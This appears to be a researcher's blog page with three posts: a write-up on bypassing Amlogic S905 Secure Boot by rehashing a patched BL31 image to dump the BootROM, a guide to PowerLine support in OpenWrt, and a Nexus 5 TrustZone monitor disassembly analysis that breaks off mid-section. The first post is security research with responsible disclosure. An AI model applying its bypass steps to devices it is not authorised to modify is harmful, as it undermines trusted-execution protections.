2017-06-08 Talk at SSTIC 2017 conference
2017-07-21 Proof-of-Concept released

Amlogic S905 SoC: bypassing the (not so) Secure Boot to dump the BootROM

2016-10-05T00:00:00-07:00

The Amlogic S905 System-On-Chip is an ARM processor designed for video applications. It's widely used in Android/Kodi media boxes. The SoC implements the TrustZone security extensions to run a Trusted Execution Environment (TEE) that enables DRM & other security features :

Amlogic S905 System Block Diagram

The SoC contains a Secure Boot mechanism to authenticate the TEE image before loading it in TrustZone. And the first link of this Secure Boot chain is the BootROM code, stored directly in the chip.

This articles describes how to extract the BootROM code from this SoC in the Android-based Inphic Spot i7 device.

Technical documentation

Amlogic released a public version of the S905 datasheet thanks to Hardkernel. However, it's heavily redacted, and most parts regarding the Secure Boot or the TrustZone have been removed. But we can still find a lot of technical information in GPL source code packages released by Amlogic & OEMs.
For example, we can find a potential address for the BootROM code:

#define ROMBOOT_START   0xD9040000
#define ROM_SIZE        (64 * 1024)
#define ROMBOOT_END     (ROMBOOT_START + ROM_SIZE)

Root access over the UART

We start by connecting the serial port (or UART) because this interface could provide a quick & easy access to debug messages & serial console on bootloaders and Linux kernel.
Identifying the serial port on this board is quite simple since there is a port header with labels for the pinout:

UART on Inphic Spot i7 board

We connect an USB to UART adapter to this port. Once the Linux kernel boot process is finished, we have directly access to a root shell.
We can start to explore the (Non-Secure side of the) system. For example, we can dump the partitions :

root@p200:/# ls -l /dev/block/platform/d0074000.emmc/
lrwxrwxrwx root     root              2015-01-01 00:00 boot -> /dev/block/boot
lrwxrwxrwx root     root              2015-01-01 00:00 bootloader -> /dev/block/bootloader
drwxr-xr-x root     root              2015-01-01 00:00 by-num
lrwxrwxrwx root     root              2015-01-01 00:00 cache -> /dev/block/cache
lrwxrwxrwx root     root              2015-01-01 00:00 crypt -> /dev/block/crypt
lrwxrwxrwx root     root              2015-01-01 00:00 data -> /dev/block/data
lrwxrwxrwx root     root              2015-01-01 00:00 env -> /dev/block/env
lrwxrwxrwx root     root              2015-01-01 00:00 instaboot -> /dev/block/instaboot
lrwxrwxrwx root     root              2015-01-01 00:00 logo -> /dev/block/logo
lrwxrwxrwx root     root              2015-01-01 00:00 misc -> /dev/block/misc
lrwxrwxrwx root     root              2015-01-01 00:00 mmcblk0 -> /dev/block/mmcblk0
lrwxrwxrwx root     root              2015-01-01 00:00 mmcblk0boot0 -> /dev/block/mmcblk0boot0
lrwxrwxrwx root     root              2015-01-01 00:00 mmcblk0boot1 -> /dev/block/mmcblk0boot1
lrwxrwxrwx root     root              2015-01-01 00:00 mmcblk0rpmb -> /dev/block/mmcblk0rpmb
lrwxrwxrwx root     root              2015-01-01 00:00 recovery -> /dev/block/recovery
lrwxrwxrwx root     root              2015-01-01 00:00 reserved -> /dev/block/reserved
lrwxrwxrwx root     root              2015-01-01 00:00 rsv -> /dev/block/rsv
lrwxrwxrwx root     root              2015-01-01 00:00 system -> /dev/block/system
lrwxrwxrwx root     root              2015-01-01 00:00 tee -> /dev/block/tee

While the tee partition (Trusted Execution Environment) turns out to be empty, the bootloader partition contains several bootloaders. But not the BootROM because it's stored in the SoC, not the flash.

(Fail at) Reading the BootROM

Since we have root permissions and a potential memory address for the BootROM, we can try to read it directly. The provided Android ROM contains a handy debugfs interface to peek & poke physical memory from user-land:

root@p200:/# echo "d0070000" >/sys/kernel/debug/aml_reg/paddr               
root@p200:/# cat /sys/kernel/debug/aml_reg/paddr                             
[0xd0070000] = 0x1000254

This aml_reg driver uses the ioremap kernel function to set up an appropriate kernel page-table mapping for the requested address.

However, if we try to read the hypothetical BootROM area:

root@p200:/# echo "d9040000" >/sys/kernel/debug/aml_reg/paddr
root@p200:/# cat /sys/kernel/debug/aml_reg/paddr
[  376.546491@0] Unhandled fault: synchronous external abort (0x96000010) at 0xffffff80001aa000
[  376.549396@0] Internal error: : 96000010 [#1] PREEMPT SMP
[  376.554712@0] Modules linked in: dwc_otg dhd(O) aml_thermal(O) mali(O) aml_nftl_dev(PO)

The kernel crashes. So either the BootROM address is wrong or this memory area is set as secure.

Since we don't have other candidates for the BootROM address, let's say the BootROM area is not accessible from the Non-Secure World.

Enter the Secure World

In theory, the Secure Boot chain prevents loading unauthorized code in the Secure World.
A quick inspection of debug logs from the UART during the early phases of boot indicates that the bootloaders are based on the ARM Trusted Firmware (ATF) reference implementation.

ARM Trusted Firmware Design

We will now explore some ways to get access to Secure World.

U-Boot bootloader

Using the console over UART, we can interrupt the U-Boot boot sequence to access to the prompt. From here we can run arbitrary U-boot commands:

Hit any key to stop autoboot: 0
gxb_p200_v1#help
? - alias for 'help'
aml_sysrecovery- Burning with amlogic format package from partition sysrecovery
amlmmc - AMLMMC sub system
amlnf - aml nand sub-system
amlnf_test- AMLPHYNAND sub-system
autoping- do auto ping test
autoscr - run script from memory

However the U-Boot bootloader (named BL33 in the ATF design) runs in Non-Secure mode as we can see in boot logs from the UART console:

INFO: BL3-1: Preparing for EL3 exit to normal world
INFO: BL3-1: Next image address = 0x1000000
INFO: BL3-1: Next image spsr = 0x3c9

U-Boot 2015.01-ga9e9562-dirty (May 06 2016 - 03:36:02)

So at this point we are already locked out of the Secure World. Next.

SMC interface

Secure & Non-Secure Worlds can communicate through the ARM Secure Monitor Call (SMC). When a core executes the SMC instruction, it switches to Secure Monitor mode (exception level EL3).

In the ATF design, the code that runs in EL3 is named the Boot Loader stage 3-1 (BL31). We can find this image in the bootloader partition we've dumped previously. This code is highly critical for TrustZone security so we should explore it.

The open-source ATF code base in the BL31 image facilitates the analysis by reverse engineering, since we can quickly recover the ATF code structure.
Here is the list of registered services that handle SMC interrupts from Normal World:

Registered services in BL31 image

The sip_svc service is interesting because it contains several custom functions developed by Amlogic:

List of handlers in the SIP service

At first glance, functions hdcp22_sec_read_reg & hdcp22_sec_write_reg look promising because they are read & write primitives for the secure memory. However, they strictly restrict access to specific memory ranges:

Function hdcp22_sec_read_reg decompiled

A quick (incomplete) analysis of other functions didn't reveal any trivial flaw in parameters sanitization (arbitrary read/write bugs). Some of them are quite complex, especially the cryptographic functions, so they have not been inspected at all.

We may be able to trigger Secure World memory corruption from the Normal World if we find bugs in one of these functions, and then achieve privilege escalation to Secure World. However that would require some expert skills to actually exploit them. So let's explore another attack vector.

Bypass the Secure Boot chain

Another solution to get access to the Secure World is to break/bypass/fool/kindly ask the Secure Boot chain at one of its stage. A common attack surface of a Secure Boot chain is the loading, parsing and authentication steps of the next stage.

We don't have access to BL1 code (yet!) since it's stored in the SoC. But we have the BL2 image from the bootloader partition we have dumped previously. So we will analyze the mechanism used by BL2 to parse and authenticate the BL31 image in the hope of finding interesting flaws.

Here start the lengthy process of reverse engineering a binary without any syscall and very few strings to guide our efforts. Fortunately, the BL2 image is quite small: ~40KB. And we have some ideas to save time:

Like BL31, the BL2 image follows the ATF code logic, so reverse engineering efforts are a bit simplified: we can quickly spot main functions & structures defined in the ATF code base.

Another RE trick is to identify the memory-mapped devices accessed by functions to deduce their role.

Several address ranges of these memory areas can be found in the SoC datasheet and the GPL source code. For example, we can expect that cryptographic functions access memory registers dedicated to the hardware cryptographic engine.

Finally, we don't want to spend time reversing open source code, especially cryptographic code because the task is quite hard. And since it's also complex from the developer perspective, we can expect they used a library, which may be open source. So we looked for similarities in function prototypes, call sequence & initialization of context structures between BL2 code and few potential OSS libraries. In our case, we quickly figured out that the cryptographic code comes from the OSS PolarSSL/mbed TLS project.

Analyzing BL2 authentication routine

Once BL2 has loaded the BL3 image from the NAND, the header is parsed. We don't have any information on the header structure yet (not present in the ATF code), but we can notice it starts with a constant magic value "@AML". This helps to quickly locate the parsing code in the BL2 binary.
We combine "guessing" (i.e. looking at the BL31 header in a hex editor) and reverse engineering of the BL2 parsing code to figure out some members of the header structure:

struct aml_img_header {
  unsigned char magic[4];// "@AML"
  uint32_t total_len;
  uint8_t header_len;
  uint8_t unk_x9;
  uint8_t unk_xA;
  uint8_t unk_xB;
  uint32_t unk_xC;
  uint32_t sig_type;
  uint32_t sig_offset;
  uint32_t sig_size;
  uint32_t data_offset;
  uint32_t unk_x20;
  uint32_t cert_offset;
  uint32_t cert_size;
  uint32_t data_len;
  uint32_t unk_x30;
  uint32_t code_offset;
  uint32_t code_len;
  uint32_t unk_x3C;
} aml_img_header_t;

The header indicates that the image is split in 4 parts:

header : always 64 bytes
signature : RSA-1024, RSA-2048, RSA-4096 or SHA-256
cert : x509 certificate
code: payload

On our target device, the signature type of the BL31 image (sig_type in the header) is SHA-256. This is intriguing because a SHA-256 hash alone is not enough to provide authentication.
The following pseudocode is the simplified algorithm of the authentication routine in BL2 :

int auth_image(aml_img_header_t *img){
  validate_header(img); // checks on magic value & header length
  hash = hash_sha256(img);// hash whole image except signature
  if(img->sig_type == RSA) {
    return check_rsa_signature(img, hash)
  }else{
    return memcmp(hash, (char*)img + (img->sig_offset));
  }
}

We can confirm that the SHA-256 option will only hash the loaded image and compare the result against the precomputed hash in the same image. We could have imagined a more complex solution like a HMAC, but actually in this case only the integrity is checked, there is no authentication.

And even if the loaded image is signed with RSA, we can still switch the signature type to SHA-256 and regenerate the correct hash.
This issue could have been avoided if the signature type was enforced by an eFuse.

This means we can easily modify the BL31 image, the most privileged code in TrustZone.

Customizing BL31 image

In a previous section, we described the SMC function hdcp22_sec_read_reg that can read restricted ranges of secure memory from Normal World.
Time to practice our NOPing-fu to get rid of these limitations and thus obtain full access to secure memory.

Modified hdcp22_sec_read_reg function

We also need to extend the page tables because the BootROM memory area is not mapped. The MMU initialization is implemented in the ATF code base, so again this is easy to spot and analyze in the BL31 binary.
By default, the following memory regions are mapped:

Original list of memory regions mapped in BL31

We extend the size of one of them to cover the BootROM region:

Modified list of memory regions mapped in BL31

The new size of mapped region 0xD9000000 is 0x80000 so it includes the BootROM area 0xD9040000-0xD9050000.
We're almost done with BL31 modifications: we still need to update the SHA-256 hash.

aml_bootloader_tool: parse and rehash Amlogic bootloaders

This tool can parse and regenerate the SHA-256 of bootloaders contained in the bootloader partition. The source code is on GitHub.
Each bootloader is identified by an UUID, they are defined in the ATF source code. In our case, the BL31 image is entry #2:

$ ./aml_bootloader_tool ./dump/bootloader.img H 2
fip_toc_header.name:        aa640001
fip_toc_header.serial_number:        12345678
fip_toc_header.flags:        0
TOC ENTRY #2
fip_toc_entry.uuid:        47D4086D4CFE98469B952950CBBD5A00
fip_toc_entry.offset_address:    14000 (absolute: 0x20000)
fip_toc_entry.size:        0x11130
fip_toc_entry.flags:        0x0
magic[@0x0]:        @AML
total_len[@0x4]:    0x11130
header_len[@0x8]:    0x40
unk_xC[@0xC]:        0x5eec9094
sig_type[@0x10]:    0x0
sig_offset[@0x14]:    0x40
sig_len[@0x18]:        0x20
data_offset[@0x1c]:    0x60
unk_x20[@0x20]:        0x0
cert_offset[@0x24]:    0x60
cert_len:        0x0
data_len:        0x110d0
unk_x30[@0x30]:        0x0
code_offset[@0x34]:    0x60
code_len[@0x38]:    0x110d0
unk_x3C[@0x3C]:        0x0
signature:        263BEFAFC5A051C550D31791EC1212576BE65DB8AD365074560F0BABC076D3CA
computed_sha256:    35AD6B284EE2D6B5672DD0958592028D5BF455A6DCD1EB086D8336FB86533853

The hash of the BL31 image has been updated, we can now reflash the dump on the device:

$ dd if=./bootloader.img of=/dev/block/bootloader

Finally, we reboot the device to load our customized BL31 image in TrustZone.

Dumping the BootROM

The SMC system call can only be invoked from EL1 and above. So we create a simple kernel module that will perform SMC calls to our modified function hdcp22_sec_read_reg in EL3.
This quick 'n dirty hack is based on the Amlogic debugfs driver reg_access. The source code is on GitHub.
Once loaded, to initiate a SMC call, we write arguments to the file /sys/kernel/debug/aml_smc/smc. The first argument is the ID of the called SMC function (0x82000018 in the case of hdcp22_sec_read_reg). The second argument (for this specific SMC ID) is the read memory address. The result DWORD is directly printed in kernel logs (we said dirty).

$ insmod ./smc_access.ko
$ echo 82000018 D9040000 > /sys/kernel/debug/aml_smc/smc
[  219.092948@0] smc_access: SMC call 82000018 returns: aa1f03e0

The result aa1f03e0 is promising, it corresponds to the ARM instruction: MOV X0, XZR
To automate the extraction of the entire BootROM memory region, we create a simple script:

$ seq -f %1.f 0xD9040000 0x4 0xD9050000 | xargs printf "echo \"82000018 %x\" > /sys/kernel/debug/aml_smc/smc\n"
echo "82000018 d9040000" > /sys/kernel/debug/aml_smc/smc
echo "82000018 d9040004" > /sys/kernel/debug/aml_smc/smc
echo "82000018 d9040008" > /sys/kernel/debug/aml_smc/smc
[...]
echo "82000018 d904fff8" > /sys/kernel/debug/aml_smc/smc
echo "82000018 d904fffc" > /sys/kernel/debug/aml_smc/smc

And finally, we concate all these DWORDS into a file bootrom.bin.

$ ls -l ./bootrom.bin
-rw-r--r-- 1 user user 65537 juil.  8 12:43 ./bootrom.bin
$ sha1sum bootrom.bin
bff0c7fb88b4f03e732dc7a4ce504d748d0d47dd  bootrom.bin
$ strings bootrom.bin |tail -22
BL1:
FEAT
READ
EMMC
NAND
LOOP
auth failed, reboot...
08dafda0fd31778
glacier.amlogic
qian
04/14/15_14:23:08
gcc version 4.8
08dafda0fd31778
boot@USB
boot@SDC
BAD PASSWORD
!!!!
vRQ>
8STs
LwH'
Err:sha
0!0

Conclusion

The S905 SoC provides hardware features to support Secure Boot, however OEMs can still choose to enable it or not. But even when Secure Boot is enforced, a flaw in the current version of Amlogic's BL2 allows to bypass it. So Trusted Execution Environment cannot be trusted. The good news is BL2 can be patched, unlike BootROM.

I would like to thank @Karnalzi for the help!

Disclosure Timeline

2016-08-08 : Flaw discovered
2016-08-08 : Amlogic & some affected OEMs contacted by email to find a security PoC
2016-08-10 : OEM #1 replies that "Amlogic doesn't provide any direct contact."
2016-08-20 : Second attempt to contact Amlogic by email
2016-09-05 : Bug report shared with Amlogic
2016-09-13 : Status update requested
2016-09-25 : Status update requested
2016-10-05 : Public disclosure

PowerLine (PLC) support in OpenWrt for D-Link DHP-1565

2016-02-20T13:55:00-08:00

D-Link 1565 is one of the few routers which integrates a PLC (Power line Communication) chipset (in this case QCA AR7400). Unfortunately, OpenWrt does not provide support for this feature yet.

This post presents configuration steps to enable PLC support in OpenWrt for this device.

Hardware configuration

By digging into D-Link GPL source code released for this device, especially function proprietary_s17_init() in file DHP1565A1_1.01b13_FOSS/src/AthSDK/platform/PLC/drivers/ethernet/phys/athrs17_phy.c, we notice the port 6 of internal switch AR8327 is related to PLC:

This port 6 is configured as a RGMII interface to communicate with PLC chipset. The following patch reproduces the same configuration in OpenWrt:
To build a custom firmware image, please see OpenWrt build system wiki page.
To flash an OpenWrt image, please see OpenWrt flashing wiki page. Don't forget to choose the factory image if you're still running the OEM firmware. If you are already using an OpenWrt firmware, you can use the sysupgrade image.

Network configuration

Once our customized OpenWrt image is flashed & booted, we are already able to see PLC bootloader probes with the swconfig command:

$ swconfig dev switch0 show
[...]
Port 6:
 mib: Port 6 MIB counters
RxBroad     : 2282
Rx64Byte    : 2282
RxGoodByte  : 146048
Filtered    : 2152
[...]
 enable_eee: ???
 pvid: 0
 link: port:6 link:up speed:1000baseT full-duplex txflow rxflow
[...]

The pvid field indicates that the primary VLAN identifier of port 6 is 0. In file /etc/config/network, we add the port 6 to VLAN identifier 2, which is dedicated to WAN interface in default configuration:

config switch_vlan
  option device 'switch0'
  option vlan '2'
  option ports '0t 5 6'

Warning: configuring PLC port into WAN interface could be a security issue: any host on WAN side can access to PLC chipset. To prevent this risk, you might need to set up a different VLAN configuration.

System configuration

open-plc-utils

Since the PLC chipset is flashless on this board, PLC firmware needs to be loaded at each boot. We can use Qualcomm Atheros Open Powerline Toolkit to manage & configure this PLC chipset.

We can cross-compile open-plc-utils with the OpenWrt toolchain.
First, we setup the following environment variables:

PATH=$PATH:<OpenWrt-Toolchain-ar71xx>/bin
CROSS=mips-openwrt-linux-musl-
ROOTFS=<open-plc-utils>/build

Then, make & make install commands are enough to build it.
Finally, we copy these freshly built binaries to the device in /overlay/upper/open-plc-utils/.

To do a quick test, we can try the Request Information command:

# /overlay/upper/open-plc-utils/amptool -i eth0.2 -Iar
eth0.2 00:B0:52:00:00:01 Request Version Information
eth0.2 00:B0:52:00:00:01 AR7400 BootLoader
eth0.2 00:B0:52:00:00:01 Fetch Device Attributes
eth0.2 00:B0:52:00:00:01 Device Identity

The line "AR7400 Bootloader" indicates that PLC chipset is ready to load a firmware.

PLC firmware

The PLC firmware blob can be found in the original firmware image. Using Binwalk, we extract the content of the /plc directory from the original rootfs, and copy it to /overlay/upper/plc/.

The NVM file is the firmware blob, and PIB files are configuration files: ceb stands for Europe, and na for North America.

The ampboot tool allows to load the firmware:

# /open-plc-utils/ampboot -i eth0.2 -P /plc/plc.ceb.pib -N /plc/plc.nvm
eth0.2 00:B0:52:00:00:01 Write /plc/plc.nvm (0) (00000040:17256)
eth0.2 00:B0:52:00:00:01 Start /plc/plc.nvm (0) (000000C0)
eth0.2 00:B0:52:00:00:01 Write /plc/plc.ceb.pib (0) (00200000:16352)
eth0.2 00:B0:52:00:00:01 Write /plc/plc.nvm (3) (00341194:423788)
eth0.2 00:B0:52:00:00:01 Start /plc/plc.nvm (3) (00341A88)
eth0.2 00:11:22:33:44:55 INT7400-MAC-5-2-5203-01-913-20110713-FINAL-B is running

By default, the HomeplugAV key is used. You can get more information with the amptool command used earlier. This can also be used to discover/join/leave a network, modify the NMK key, etc...

init.d script

To load the PLC firmware at each boot, create the following init script /etc/rc.d/S25amphost :

#!/bin/sh /etc/rc.common
#start right after network
START=25
USE_PROCD=1
start_service() {
 procd_open_instance
 procd_set_param command /open-plc-utils/amphost -i eth0.2 -P /plc/plc.ceb.pib -N /plc/plc.nvm
 procd_set_param respawn
 procd_close_instance
}
service_triggers()
{
 procd_add_reload_trigger "amphost"
}

Then, to enable this script at startup:

$ /etc/init.d/amphost enable

Et voilà !

Analysis of Nexus 5 Monitor mode

2014-12-25T13:28:00-08:00

This article will first describe how to locate the Monitor mode code in Nexus 5 firmware (hammerhead-ktu84p-factory-35ea0277, bootloader-hammerhead-hhz11k : c32f8bec310c659c1296739b00c6a8ac). Then, we will try to understand what it does (its functionalities). Finally, you will have to find bugs by yourself because I didn't find any...so far !

Note: Terms (Non-)Secure world & (Non-)Secure state are used as synonyms. Term Normal world is also used as synonym of Non-Secure world.

I. Quick introduction to ARM Security Extensions

"The Security Extensions define two security states: Secure state and Non-secure state. All instruction execution takes place either in Secure state or in Non-secure state.[...] The Security Extensions also define an additional processor mode, Monitor mode, that provides a bridge between software running in Non-secure state and software running in Secure state."
"The Secure Monitor Call exception is implemented only as part of the Security Extensions. The Secure Monitor Call instruction, SMC , requests a Secure Monitor function, causing the processor to enter Monitor mode."
"When an exception is taken, processor execution is forced to an address that corresponds to the type of exception. This address is called the exception vector for that exception. A set of exception vectors comprises eight consecutive word-aligned memory addresses, starting at an exception base address. These eight vectors form a vector table."
-- ARM Architecture Reference Manual ARMv7-A

II. OpenSource TrustZone examples

Trusted Execution Environment (TEE) is the "small" secure kernel executed in Secure state. The Monitor code is part of the TEE code.
To get an idea of how the Monitor code works, we can take a look at two TrustZone examples:

Cortex-A9 TrustZone example by ARM : a simple example of secure and non-secure code that communicates through Monitor mode.
OP-TEE by STMicroelectronics : an Open Source TEE 1.0 implementation.

After studying these code samples, we can clearly distinguish two parts in Monitor code:

Monitor mode initialization: called once, at TEE initialization time.

In this code, we can notice two specific instructions :

Monitor Vector Base Address Register (MVBAR) setup: MVBAR contains the Monitor vector table address. Both samples use the same instructions to setup MVBAR :
MCR p15, 0, $RX,c12,c0, 1
where $RX is a pointer to the monitor mode's vector table.
SP register setup: the Monitor mode stack address is set into SP register. This register is banked, which means this value will be automatically restored next time the processor enters in Monitor mode.

Exception vectors: called when an exception is taken to Monitor mode.

Both samples implement a simple Secure Monitor Call (SMC) handler that switches between the normal and secure worlds when a SMC call is made. As SMC handler is an entry point to the Secure state, it would be interesting to analyze it in Nexus 5 firmware.

III. Extracting Nexus 5 firmware

We know that the Monitor code may be embedded into the TEE image. In the case of Nexus 5, this image can be extracted from stock ROM.
Once downloaded, we use a small tool to unpack bootloader-hammerhead-hhz11k.img file. One of extracted files is an ELF ARM binary named "tz".

IV. Nexus 5 Monitor mode code

To analyze the Nexus 5 TrustZone binary, we can use IDA Demo 6.6.
Given that setting up MVBAR is very specific to the monitor mode's initialization code, we use it to locate the Monitor mode's initialization code in Nexus 5 TrustZone binary.
Using IDA regex search in code disassembly, we look for the instruction used to write MVBAR :

MCR[[:space:]]+p15, 0, [^,]+,c12,c0, 1

This search returns only 3 occurrences, and one of them also sets the SP register. These instructions are expected to be found in Monitor mode initialization code.

IV.1. Monitor mode initialization function

Here's the disassembly of the Monitor mode initialization code :

LOAD:FE80DB4C init_monitor
LOAD:FE80DB4C                 MSR             CPSR_c, #0xD6 ; switch to Monitor mode
LOAD:FE80DB50                 LDR             R0, =monitor_vector_table ; load monitor vector table ptr into R0
LOAD:FE80DB54                 MCR             p15, 0, R0,c12,c0, 1 ; write R0 to MVBAR
LOAD:FE80DB58                 BL              sub_FE80DB88 ; initialize Non-Secure world
LOAD:FE80DB5C                 LDR             SP, =0xFE82B700
LOAD:FE80DB60                 MRC             p15, 0, R0,c0,c0, 5 ; write MPIDR value to R0
LOAD:FE80DB64                 AND             R0, R0, #0xFF ; keep Affinity level 0 : current virtual CPU id
LOAD:FE80DB68                 MOV             R1, #0x200
LOAD:FE80DB6C                 MUL             R1, R1, R0 ; compute stack offset for current vCPU
LOAD:FE80DB70                 SUB             SP, SP, R1 ; setup Monitor stack register SP
LOAD:FE80DB74                 MOV             R0, #0b100
LOAD:FE80DB78                 MCR             p15, 0, R0,c1,c1, 0 ; set FIQ flag in SCR register
LOAD:FE80DB7C                 ISB             SY      ; flush the pipeline in the processor
LOAD:FE80DB80                 MSR             CPSR_c, #0xD3 ; switch to Supervisor mode
LOAD:FE80DB84                 BX              LR
LOAD:FE80DB84 ; End of function init_monitor

We will now proceed to a detailed analysis of each step.

IV.1.A Switch to Monitor mode

MSR instruction moves an immediate value (here 0xD6) to a Special register (here CPSR_c).

LOAD:FE80DB4C                 MSR             CPSR_c, #0xD6 ; switch to Monitor mode

The Current Program Status Register (CPSR) holds processor status and control information. CPSR with "_c" suffix enables writing of bits<0:7> of CPSR (ARM Ref. B9.3.11). This bitfield controls the processor mode and exception masks.

We can use a simple IDAPython script to replace the immediate value 0xD6 with symbols documented in ARM Ref. (B1-1148) :
Thus, the instruction becomes:

LOAD:FE80DB4C                 MSR             CPSR_c, #CPSR_MODE_MON OR CPSR_MASK_FIQ OR CPSR_MASK_IRQ ; switch to Monitor mode

This instruction switches the processor to Monitor mode. It also sets CPSR.F and CPSR.I bits to mask FIQ and IRQ exceptions, meaning they cannot be taken.

IV.1.B Setup MVBAR

The Move to Coprocessor from ARM core register instruction (MCR) passes the value of an ARM core register (here R0) to a coprocessor (here CP15).

LOAD:FE80DB50                 LDR             R0, =monitor_vector_table ; load monitor vector table ptr into R0
LOAD:FE80DB54                 MCR             p15, 0, R0,c12,c0, 1 ; write R0 to MVBAR

CP15 c12 register is present on an ARMv7-A implementation that includes Security Extensions. This instruction writes R0 value to MVBAR. R0 contains a pointer to Monitor vector table. We will describe this table later.

IV.1.C Initialize Non-Secure world

The function sub_FE80DB88 is called to initialize the Non-Secure world context:

LOAD:FE80DB88 sub_FE80DB88
LOAD:FE80DB88                MRC             p15, 0, R1,c1,c0, 0 ; read Secure SCTLR
LOAD:FE80DB8C               MOV             R0, #SCR_NS OR SCR_FW OR SCR_AW ; #0x31
LOAD:FE80DB90                MCR             p15, 0, R0,c1,c1, 0 ; switch to Non-Secure (NS) state
LOAD:FE80DB94                ISB             SY
LOAD:FE80DB98               MCR             p15, 0, R1,c1,c0, 0 ; write Secure SCTLR value to NS SCTLR
LOAD:FE80DB9C               MOV             R0, #0
LOAD:FE80DBA0               MCR             p15, 2, R0,c0,c0, 0 ; clear CSSELR
LOAD:FE80DBA4               MCR             p15, 0, R0,c2,c0, 0 ; clear TTBR0
LOAD:FE80DBA8               MCR             p15, 0, R0,c2,c0, 1 ; clear TTBR1
LOAD:FE80DBAC              MCR             p15, 0, R0,c2,c0, 2 ; clear TTBCR
LOAD:FE80DBB0               MCR             p15, 0, R0,c3,c0, 0 ; clear DACR
LOAD:FE80DBB4               MCR             p15, 0, R0,c5,c0, 0 ; clear DFSR
LOAD:FE80DBB8               MCR             p15, 0, R0,c5,c0, 1 ; clear IFSR
LOAD:FE80DBBC               MCR             p15, 0, R0,c5,c1, 0 ; clear ADFSR
LOAD:FE80DBC0              MCR             p15, 0, R0,c5,c1, 1 ; clear AIFSR
LOAD:FE80DBC4                 MCR             p15, 0, R0,c6,c0, 0 ; clear DFAR
LOAD:FE80DBC8                 MCR             p15, 0, R0,c6,c0, 2 ; clear IFAR
LOAD:FE80DBCC                 MCR             p15, 0, R0,c7,c4, 0 ; clear PAR
LOAD:FE80DBD0                 MCR             p15, 0, R0,c10,c2, 0 ; clear PRRR
LOAD:FE80DBD4                 MCR             p15, 0, R0,c10,c2, 1 ; clear NMRR
LOAD:FE80DBD8                 MCR             p15, 0, R0,c10,c4, 0 ; clear "MMUDMTR" ?
LOAD:FE80DBDC                 MCR             p15, 0, R0,c10,c4, 1 ; clear "MMUDCPR" ? 
LOAD:FE80DBE0                 LDR             R1, =dword_FE82B8CC ; load Non-Secure VBAR ptr to R1
LOAD:FE80DBE4                 LDR             R0, [R1]
LOAD:FE80DBE8                 MCR             p15, 0, R0,c12,c0, 0 ; write Non-Secure VBAR
LOAD:FE80DBEC                 MOV             R0, #0
LOAD:FE80DBF0                 STR             R0, [R1] ; clear Non-Secure VBAR ptr
LOAD:FE80DBF4                 MCR             p15, 0, R0,c13,c0, 0 ; clear FCSEIDR
LOAD:FE80DBF8                 MCR             p15, 0, R0,c13,c0, 1 ; clear CONTEXTIDR
LOAD:FE80DBFC                 MCR             p15, 0, R0,c13,c0, 2 ; clear TPIDRURW
LOAD:FE80DC00                 MCR             p15, 0, R0,c13,c0, 3 ; clear TPIDRURO
LOAD:FE80DC04                 MCR             p15, 0, R0,c13,c0, 4 ; clear TPIDRPRW
LOAD:FE80DC08                 MOV             R0, #SCR_FW OR SCR_AW ; #0x30
LOAD:FE80DC0C                 MCR             p15, 0, R0,c1,c1, 0 ; switch back to Secure state
LOAD:FE80DC10                 ISB             SY
LOAD:FE80DC14                 BX              LR
LOAD:FE80DC14 ; End of function sub_FE80DB88

First, the security state is switched to Non-Secure. Then, the coprocessor registers banked in both security states (ARM Ref. Banked system control registers) are initialized to zero. Finally, the security state is switched back to Secure.

IV.1.D Setup SP register

On ARMv7-A, Multiprocessor Affinity Register (MPIDR) holds the processor identification information. In this register, bits<0:7> are the affinity level 0 (Aff0). This number represents the current CPU id. Here, this id is used to compute the stack address of current CPU, which is then stored into SP register. The stack size for each CPU is 0x200 bytes.

LOAD:FE80DB5C                 LDR             SP, =0xFE82B700
LOAD:FE80DB60                 MRC             p15, 0, R0,c0,c0, 5 ; write MPIDR value to R0
LOAD:FE80DB64                 AND             R0, R0, #0xFF ; keep Affinity level 0 : current virtual CPU id
LOAD:FE80DB68                 MOV             R1, #0x200
LOAD:FE80DB6C                 MUL             R1, R1, R0 ; compute stack offset for current vCPU
LOAD:FE80DB70                 SUB             SP, SP, R1 ; setup Monitor stack register SP

IV.1.E Route FIQ exceptions to Monitor mode

CP15 c1 register is present on an ARMv7-A implementation that includes Security Extensions. This instruction sets bit<2> (0x4) in Secure Configuration Register (SCR), which means FIQ exceptions are now taken to Monitor mode.

LOAD:FE80DB74                 MOV             R0, #0b100 ; SCR.FIQ
LOAD:FE80DB78                 MCR             p15, 0, R0,c1,c1, 0 ; set FIQ flag in SCR register
LOAD:FE80DB7C                 ISB             SY      ; flush the pipeline in the processor

We can also notice that bit<0> (SCR.NS : Non-Secure) is not set, meaning current execution state is Secure.

IV.1.F Switch back to Supervisor mode

This instruction switches the processor to Supervisor mode, and sets FIQ & IRQ mask bits.

LOAD:FE80DB80                 MSR             CPSR_c, #CPSR_MODE_SVC OR CPSR_MASK_FIQ OR CPSR_MASK_IRQ ; switch to Supervisor mode

Monitor mode setup is now complete. Monitor code can then be entered through its exception vector table.

IV.2. Monitor Exception Vector Table

The Monitor exception vector table defines exception vectors to handle exceptions taken to Monitor Mode.
Its structure is described in ARM Ref. (B1-1167) :

The vector table entries

Thanks to the Monitor initialization code, we know the address of Nexus 5's Monitor exception vector table:

LOAD:FE80CEE0 monitor_vector_table
LOAD:FE80CEE0                 B               dead_loop ; not used
LOAD:FE80CEE4 ; ---------------------------------------------------------------------------
LOAD:FE80CEE4                 B               dead_loop ; not used
LOAD:FE80CEE8 ; ---------------------------------------------------------------------------
LOAD:FE80CEE8                 B               smc_handler ; Secure Monitor Call
LOAD:FE80CEEC ; ---------------------------------------------------------------------------
LOAD:FE80CEEC                 B               dead_loop ; Prefetch Abort
LOAD:FE80CEF0 ; ---------------------------------------------------------------------------
LOAD:FE80CEF0                 B               dead_loop ; Data Abort
LOAD:FE80CEF4 ; ---------------------------------------------------------------------------
LOAD:FE80CEF4                 B               dead_loop ; not used
LOAD:FE80CEF8 ; ---------------------------------------------------------------------------
LOAD:FE80CEF8                 B               sub_FE80CF24 ; IRQ interrupt
LOAD:FE80CEFC ; ---------------------------------------------------------------------------
LOAD:FE80CEFC                 B               sub_FE80CFB4 ; FIQ interrupt
LOAD:FE80CEFC ; End of function monitor_vector_table

We can see that 3 exception handlers are configured: SMC, FIQ, IRQ. Others are dead loops.

IV.3. Secure Monitor Call handler function

